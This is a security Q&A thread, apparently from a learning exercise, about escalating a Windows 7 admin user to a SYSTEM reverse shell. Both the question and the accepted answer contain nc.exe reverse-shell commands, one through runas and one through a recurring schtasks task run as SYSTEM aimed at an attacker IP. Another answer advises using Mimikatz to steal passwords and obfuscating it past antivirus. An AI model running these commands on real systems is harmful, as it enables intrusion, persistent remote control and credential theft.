I am learning Windows Privilege escalation. I've managed to add a user to the Administrators group but I don't know how to execute nc.exe, present in the Temp dir, with elevated privileges.

I am running runas /user:tcm-pc\administrator nc.exe -e cmd <ip> <port>; however, it asks for an administrator password, which I don't have.

My end goal, here, is to get a reverse-shell as nt authority\system, with this newly created privileges for the user user.

Following are some of the details on the Windows box:

c:\Temp>net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain


The command completed successfully.



Host Name:                 TCM-PC
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          TCM
Registered Organization:   
  • @Learner: Your question is too broad. Please try to reformulate it more precisely.
    – mentallurg
    Jun 18, 2020 at 1:07
  • What level of access do you have to the box? Can you run arbitrary commands? Interact with the GUI of a logged-in user? Make other changes at the same level as adding a new Administrator (which itself requires Administrator-level permissions)?
    – CBHacking
    Jun 18, 2020 at 2:19
  • 3
    Since you were able to add the user in admin group, that's it. You are done. To your question how to get the reverse shell as higher privileged group have you tried using runas? runas will let you run programs as another user. For example, if you already have added a user hacker in administrator, then probably you can use runas this user to run nc.exe command and eventually get the reverse shell.
    – Prakash
    Jun 18, 2020 at 3:28

2 Answers 2


As your whoami command states, your current user is user, and user is an administrator already, as your net command states.
That means that you won't gain anything in terms of privileges if you try to execute a command as administrator with runas.

You mention that your goal is to get a reverse shell as nt authority\system.
A member of the administrators group has the privilege to create a task that will run as nt authority\system with the following command for example:

 schtasks /create /sc minute /mo 5 /RU SYSTEM /tn myprivesc /tr "nc.exe -e cmd.exe <attacker_ip> <attacker_port>"
  • 1
    You might have to place the part after the /tr in double quotes
    – nobody
    Jul 20, 2020 at 13:44
  • thanks @nobody, edited my answer
    – lab9
    Jul 20, 2020 at 15:07

You can try using Mimikatz on the target machine to extract the administrator's password. If there is an AV try obfuscating the Mimikatz code. And then execute the reverse shell using 'runas'.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.